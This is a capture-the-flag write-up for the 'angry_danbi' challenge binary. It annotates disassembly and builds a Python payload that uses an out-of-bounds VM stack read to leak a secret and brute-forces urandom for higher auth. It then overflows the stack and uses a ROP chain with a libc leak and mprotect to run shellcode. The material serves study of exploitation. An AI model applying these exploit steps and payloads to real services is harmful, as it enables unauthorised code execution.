angry_danbi What's needed to note is that angry_danbi receives 0x1800 data for virtual machine: PT_LOAD2:08048D08 mov [esp+2B68h+flags], 0 ; flags PT_LOAD2:08048D10 mov [esp+2B68h+stream], 400h ; n PT_LOAD2:08048D18 lea edx, [esp+2B68h+s] PT_LOAD2:08048D1C add edx, 1400h PT_LOAD2:08048D22 mov [esp+2B68h+modes], edx ; buf PT_LOAD2:08048D26 mov [esp+2B68h+filename], eax ; fd PT_LOAD2:08048D29 call _recv Data is received in chunks of 0x400, thus makeing it total of 0x1800. Next step is to pass this data to the vm interpreter. As soon as application gets into vm loop it will read random bytes and store them somewhere in the memory: PT_LOAD2:080498E8 read_random_bytes proc near ; CODE XREF: read_some_random_bytes+18p PT_LOAD2:080498E8 PT_LOAD2:080498E8 stream = dword ptr -0Ch PT_LOAD2:080498E8 s = dword ptr 8 PT_LOAD2:080498E8 PT_LOAD2:080498E8 push ebp PT_LOAD2:080498E9 mov ebp, esp PT_LOAD2:080498EB sub esp, 28h PT_LOAD2:080498EE mov edx, offset aRb_0 ; "rb" PT_LOAD2:080498F3 mov eax, offset aDevUrandom ; "/dev/urandom" PT_LOAD2:080498F8 mov [esp+4], edx ; modes PT_LOAD2:080498FC mov [esp], eax ; filename PT_LOAD2:080498FF call _fopen PT_LOAD2:08049904 mov [ebp+stream], eax PT_LOAD2:08049907 cmp [ebp+stream], 0 PT_LOAD2:0804990B jnz short loc_8049919 PT_LOAD2:0804990D mov dword ptr [esp], 0 ; status PT_LOAD2:08049914 call _exit PT_LOAD2:08049919 ; --------------------------------------------------------------------------- PT_LOAD2:08049919 PT_LOAD2:08049919 loc_8049919: ; CODE XREF: read_random_bytes+23j PT_LOAD2:08049919 mov eax, [ebp+stream] PT_LOAD2:0804991C mov [esp+8], eax ; stream PT_LOAD2:08049920 mov dword ptr [esp+4], 0Ah ; n PT_LOAD2:08049928 mov eax, [ebp+s] PT_LOAD2:0804992B mov [esp], eax ; s PT_LOAD2:0804992E call _fgets PT_LOAD2:08049933 mov eax, [ebp+stream] PT_LOAD2:08049936 mov [esp], eax ; stream PT_LOAD2:08049939 call _fclose PT_LOAD2:0804993E leave PT_LOAD2:0804993F retn PT_LOAD2:0804993F read_random_bytes endp Ok, quite simple, reads 0xA bytes (null terminated) into global variable. After a little bit of reading we can identify some interesting functions dealing with auth level. PT_LOAD2:080497DE inc esi PT_LOAD2:080497DF mov ds:vm_eip, esi PT_LOAD2:080497E5 call UpdateToAuthLevel2 PT_LOAD2:080497EA jmp __check_end_of_vm PT_LOAD2:08049891 jz short __exit_vm PT_LOAD2:08049893 jb short __exit_vm PT_LOAD2:08049895 mov ds:vm_eip, esi PT_LOAD2:0804989B call auth_to_level3 PT_LOAD2:080498A9 inc esi PT_LOAD2:080498AA mov ds:vm_eip, esi PT_LOAD2:080498B0 call ExecuteWhenAuthLevel3 Lets look at first function UpdateToAuthLevel2: PT_LOAD2:08048FC5 UpdateToAuthLevel2 proc near ; CODE XREF: do_vm+1A0p PT_LOAD2:08048FC5 push 4 PT_LOAD2:08048FC7 pop ds:pop_imm_never_used PT_LOAD2:08048FCD pop ds:ret_eip PT_LOAD2:08048FD3 sal eax, cl PT_LOAD2:08048FD5 setalc PT_LOAD2:08048FD6 mov eax, ds:vm_esp PT_LOAD2:08048FDB cmp eax, 0FF8h PT_LOAD2:08048FE0 ja vm_exit_process PT_LOAD2:08048FE6 sal ebx, cl PT_LOAD2:08048FE8 lea ebx, g_stack_base PT_LOAD2:08048FEE sal edx, cl PT_LOAD2:08048FF0 add ebx, eax ; get current stack index PT_LOAD2:08048FF2 sal ecx, cl PT_LOAD2:08048FF4 lea ecx, g_SecretFileContent PT_LOAD2:08048FFA push ebx ; s2 PT_LOAD2:08048FFB push ecx ; s1 PT_LOAD2:08048FFC sal ebx, cl PT_LOAD2:08048FFE call _strcmp <--- check if we have correct secret? PT_LOAD2:08049003 pop ecx PT_LOAD2:08049004 pop ecx PT_LOAD2:08049005 cmp eax, 0 PT_LOAD2:08049008 jnz short loc_804901A PT_LOAD2:0804900A sal eax, cl PT_LOAD2:0804900C lea eax, g_AuthLevel PT_LOAD2:08049012 sal ebx, 90h PT_LOAD2:08049015 mov byte ptr [eax], 2 PT_LOAD2:08049018 jmp short loc_804901F PT_LOAD2:0804901A ; --------------------------------------------------------------------------- PT_LOAD2:0804901A PT_LOAD2:0804901A loc_804901A: ; CODE XREF: UpdateToAuthLevel2+43j PT_LOAD2:0804901A jmp vm_exit_process PT_LOAD2:0804901F ; --------------------------------------------------------------------------- PT_LOAD2:0804901F PT_LOAD2:0804901F loc_804901F: ; CODE XREF: UpdateToAuthLevel2+53j PT_LOAD2:0804901F push ds:ret_eip PT_LOAD2:08049025 retn PT_LOAD2:08049025 UpdateToAuthLevel2 endp ; sp-analysis failed Now comes funny part, "secret" file is read at the beginning, and we can get there only if we steal data held in secret. Lets have a look at memory where g_stack_base starts: PT_LOAD3:0804B0B4 g_stack_base db 1004h dup(0) ; DATA XREF: UpdateToAuthLevel2+23o PT_LOAD3:0804B0B4 ; read_byte_stack_base_increment+16o ... PT_LOAD3:0804C0B8 g_random_bytes_offset dd 0 ; DATA XREF: do_vm+29w PT_LOAD3:0804C0B8 ; do_vm+246r ... PT_LOAD3:0804C0BC ; char g_SecretFileContent[12] PT_LOAD3:0804C0BC g_SecretFileContent db 0Ch dup(0) ; DATA XREF: main+D8o PT_LOAD3:0804C0BC ; UpdateToAuthLevel2+2Fo PT_LOAD3:0804C0C8 ; char g_random_bytes[20] PT_LOAD3:0804C0C8 g_random_bytes db 14h dup(0) ; DATA XREF: read_some_random_bytes+Eo There is only one instruction which allows us to read past stack index: (cleaned from obsfucation): PT_LOAD2:08049026 read_byte_stack_base_increment proc near ; CODE XREF: do_vm+1BEp PT_LOAD2:08049026 push 4 PT_LOAD2:08049028 pop ds:pop_imm_never_used PT_LOAD2:0804902E pop ds:ret_eip PT_LOAD2:08049034 sal eax, cl ; dl = opcode byte PT_LOAD2:08049037 mov eax, ds:vm_esp PT_LOAD2:0804903C lea ebx, g_stack_base PT_LOAD2:08049042 add ebx, eax PT_LOAD2:08049046 cmp dl, 10h PT_LOAD2:08049049 ja short __index_out_of_bounds PT_LOAD2:0804904B xor ecx, ecx PT_LOAD2:0804904F mov cl, dl PT_LOAD2:08049053 add ebx, ecx PT_LOAD2:08049057 xor ecx, ecx PT_LOAD2:0804905B mov cl, [ebx] PT_LOAD2:0804905F mov eax, ds:vm_esp PT_LOAD2:08049066 lea ebx, g_stack_base PT_LOAD2:0804906E add ebx, eax PT_LOAD2:08049072 mov [ebx], cl PT_LOAD2:08049076 PT_LOAD2:08049076 __index_out_of_bounds: PT_LOAD2:08049076 push ds:ret_eip PT_LOAD2:0804907C retn As we can see we can read past the end of buffer, but only up to 0x10, now lets do some caluclation: 0804C0BC - 0x10 = 0804C0AC 0804C0AC - 0804B0B4 = 0xFF8 So basically we can read only 8 bytes from g_secret, and that's how secret should be long, well we are also hinted when secret is read that it's only 8 bytes, as fgets at 080489C0 read 9 bytes from file, where buffer is 0 terminated, so it's actually 8 bytes secret. Now what we do next? Simple, we have 2 more opcodes which will save us. 1. is push dword on stack and increment stack by 4 thus we can move to offset FF8 really fast. FF8 / 4 = 0x3FE <--- this is how many push dword we have to send!!! vm_opcode which pushes dword is: PT_LOAD2:0804977A cmp bl, 23h ; '#' PT_LOAD2:0804977D jz short loc_8049781 PT_LOAD2:0804977F jnz short loc_804979B PT_LOAD2:08049781 PT_LOAD2:08049781 loc_8049781: ; CODE XREF: do_vm+138j PT_LOAD2:08049781 inc esi PT_LOAD2:08049782 xor edx, edx PT_LOAD2:08049784 mov edx, [edi+esi] PT_LOAD2:08049787 inc esi PT_LOAD2:08049788 inc esi PT_LOAD2:08049789 inc esi PT_LOAD2:0804978A inc esi PT_LOAD2:0804978B mov ds:vm_eip, esi PT_LOAD2:08049791 call push_dword_stack PT_LOAD2:08049796 jmp __check_end_of_vm so we make move_stack = ("#" + struct.pack("I", 0x0)) * 0x3FE; 2. we need to issue in paralel stack increment and get_byte_past the offset so we combine these 2 opcodes: PT_LOAD2:0804973C cmp bl, 21h ; '!' PT_LOAD2:0804973F jz short loc_8049743 PT_LOAD2:08049741 jnz short loc_804975A PT_LOAD2:08049743 PT_LOAD2:08049743 loc_8049743: ; CODE XREF: do_vm+FAj PT_LOAD2:08049743 inc esi PT_LOAD2:08049744 xor edx, edx PT_LOAD2:08049746 mov dl, [edi+esi] PT_LOAD2:08049749 inc esi PT_LOAD2:0804974A mov ds:vm_eip, esi PT_LOAD2:08049750 call push_byte_or_increment_stack Note that this function if byte to be pushed is 0xBF it only increments stack. Also we have to send opcode to get data past the end of the buffer: PT_LOAD2:080497EF cmp bl, 50h ; 'P' PT_LOAD2:080497F2 jz short loc_80497F6 PT_LOAD2:080497F4 jnz short loc_804980D PT_LOAD2:080497F6 PT_LOAD2:080497F6 loc_80497F6: ; CODE XREF: do_vm+1ADj PT_LOAD2:080497F6 inc esi PT_LOAD2:080497F7 xor edx, edx PT_LOAD2:080497F9 mov edx, [edi+esi] PT_LOAD2:080497FC inc esi ; can read secret content from secret PT_LOAD2:080497FD mov ds:vm_eip, esi PT_LOAD2:08049803 call read_byte_stack_base_increment PT_LOAD2:08049808 jmp __check_end_of_vm So our next step is simple, we need to give get_byte/inc_Stack * 8 move_stack += ("P" + struct.pack("B", 0x10) + "!" + struct.pack("B", 0xBF)) * 8; 3. now we need to go down 8 bytes, by poping data from stack, pop into any register, nobody really cares about data in registers: PT_LOAD2:0804979B cmp bl, 24h ; '$' PT_LOAD2:0804979E jz short loc_80497A2 PT_LOAD2:080497A0 jnz short loc_80497B9 PT_LOAD2:080497A2 PT_LOAD2:080497A2 loc_80497A2: ; CODE XREF: do_vm+159j PT_LOAD2:080497A2 inc esi PT_LOAD2:080497A3 xor edx, edx PT_LOAD2:080497A5 mov edx, [edi+esi] PT_LOAD2:080497A8 inc esi PT_LOAD2:080497A9 mov ds:vm_eip, esi PT_LOAD2:080497AF call pop_byte_from_stack_into_reg ; ret_eip is never set, but used so we can return PT_LOAD2:080497AF ; somewhere... where we shouldn't go :) PT_LOAD2:080497B4 jmp __check_end_of_vm And chose some random register (r0 = 8) so we do: move_stack += ("$" + struct.pack("B", 8)) * 8; voila now we are ready to auth our data: 4. Now call auth to level 2: PT_LOAD2:080497D7 cmp bl, 39h ; '9' PT_LOAD2:080497DA jz short loc_80497DE PT_LOAD2:080497DC jnz short loc_80497EF PT_LOAD2:080497DE PT_LOAD2:080497DE loc_80497DE: ; CODE XREF: do_vm+195j PT_LOAD2:080497DE inc esi PT_LOAD2:080497DF mov ds:vm_eip, esi PT_LOAD2:080497E5 call UpdateToAuthLevel2 PT_LOAD2:080497EA jmp __check_end_of_vm move_stack += "9"; 5. Now we can call auth to level 3 to cause overflow in level 3 function. Unfortunatelly, to go over to level 3 we need to bruteforce random bytes. Luckily, 0 byte as 1st byte is given very often from /dev/urandom so we have to execute code many many times to get over this code. What I did was to send empty string to compare until 0 byte is read from /dev/urandom so I would go to level 3. Simple code to make this happen is: move_stack += struct.pack("B", 0x91); move_stack += struct.pack("I", 0xDEADBEEF); move_stack += struct.pack("I", 0xDEADBEEF); now good thing here is to patch program, so exploit can be tested, before finishing whole code. I patched here: PT_LOAD2:08048FA6 call _strcmp PT_LOAD2:08048FAB cmp eax, 0 PT_LOAD2:08048FAE jnz vm_exit_process jnz just nop out, so we can test ROP chain... instead of running multiple times. Now, once authenticated we need to take care of buffer overflow: 6. Junk stripped from execute when Auth3: PT_LOAD2:08048DF8 ExecuteWhenAuthLevel3 proc near ; CODE XREF: do_vm+26Bp PT_LOAD2:08048DF8 push 0BFFFh PT_LOAD2:08048DFD pop ds:pop_imm_never_used PT_LOAD2:08048E03 pop ds:ret_eip PT_LOAD2:08048E09 cmp ds:g_AuthLevel, 3 PT_LOAD2:08048E10 jnz vm_exit_process PT_LOAD2:08048E16 push ds:ret_eip PT_LOAD2:08048E1E mov ebx, esp PT_LOAD2:08048E20 sub esp, 20h PT_LOAD2:08048E23 mov ebx, esp PT_LOAD2:08048E26 xor eax, eax PT_LOAD2:08048E28 mov eax, 20h ; ' ' PT_LOAD2:08048E30 mov ecx, [edi+1] PT_LOAD2:08048E36 cmp cl, 2 PT_LOAD2:08048E39 setalc PT_LOAD2:08048E3A lea ecx, [edi+esi] ; data after opcode (our custom input) PT_LOAD2:08048E40 push eax ; n PT_LOAD2:08048E44 push ecx ; src PT_LOAD2:08048E48 push ebx ; dest PT_LOAD2:08048E4C call _memcpy PT_LOAD2:08048E51 test byte ptr [edi], 44h PT_LOAD2:08048E54 add esp, 0Ch PT_LOAD2:08048E57 push ebx ; s PT_LOAD2:08048E58 sal ecx, cl PT_LOAD2:08048E5A call write_c_bytes_to_banner PT_LOAD2:08048E5F add esp, 24h PT_LOAD2:08048E62 retn This function will overflow stack, as it checks if 2nd byte of vm opcodes is less than 2 if so, salc will set eax to 0FFh thus we will overwrite stack. Bingo, now we can write ROP chain. I leaked __libc_start_main, and on next run executed mprotect on vm_stack to execute my shellcode. ROP chain to leak __libc_start_main: PT_LOAD2:08048DF3 pop ebp <--- fix EBP to point to vm_stack PT_LOAD2:08048DF4 retn PT_LOAD2:08048FC2 pop eax <--- update EAX to be address of __libc_start_main PT_LOAD2:08048FC3 leave <--- fixes adress of ESP to be in vm_stack PT_LOAD2:08048FC4 retn <--- return now to send... PT_LOAD2:08048E89 mov edx, 0Fh ; len <--- here PT_LOAD2:08048E8E mov ecx, eax ; addr <--- ecx = from where to read... PT_LOAD2:08048E90 mov ebx, ds:fd ; fd PT_LOAD2:08048E96 mov eax, 4 PT_LOAD2:08048E9B int 80h ; get back address of __libc_start_main... ; done... Now we can extract address of mprotect to deprotect memory where shellcode is stored. Note that we will put shellcode on vm_stack through push dword, and give mprotect address of where we store shellcode. It's also important to note that 2nd byte of vm_opcodes has to be 0 for salc to work, thus 1st instruction which is sent to the vm_interperter is always "push 0", and then shellcode follows: move_stack += struct.pack("I", 0xDEADBEEF); #wait for 0 to be given by /dev/urandom first move_stack += struct.pack("I", 0xDEADBEEF); move_stack += struct.pack("B", 0xEF); move_stack += struct.pack("I", 0x41414141); move_stack += struct.pack("I", 0x42424242); move_stack += struct.pack("I", 0x43434343); move_stack += struct.pack("I", 0x44444444); move_stack += struct.pack("I", 0x45454545); move_stack += struct.pack("I", 0x46464646); move_stack += struct.pack("I", 0x47474747); move_stack += struct.pack("I", 0x48484848); #add 2nd stage ROP move_stack += struct.pack("I", mprotect_addy); <--- mprotect move_stack += struct.pack("I", 0x0804B0B8); <--- stored shellcode through push dword move_stack += struct.pack("I", 0x0804B000); <--- address to set PROT_READ/WRITE/EXEC move_stack += struct.pack("I", 0x1000); <--- size move_stack += struct.pack("I", 0x7); <--- PROT_READ/WRITE/EXEC Fire up shellcode and we get back: __libc_start_main : 0xb75ee840L mprotect : 0xb76c1670L key is : SuperDanbiKick Voila that's it... Also note, that we can use fopen/fread gadget to send data back, as we can reuse "key.txt" data, but the problem here is that key file has "\n" at the beginning so fopen/fgets will only send us back "\n" as fgets reads until new-line. This is the reason why at the end we use leak + mprotect in final exploit Bin : http://deroko.phearless.org/angry_danbi Exploit : http://deroko.phearless.org/angry_ex.py To run angry_danbi do: create banner.txt in same folder (put whatever you like inside) create secret in same folder (put whatever you like, at least 8 characters) create key.txt in same folder (put whatever you would like to see as a key) ./angry_danbi 8080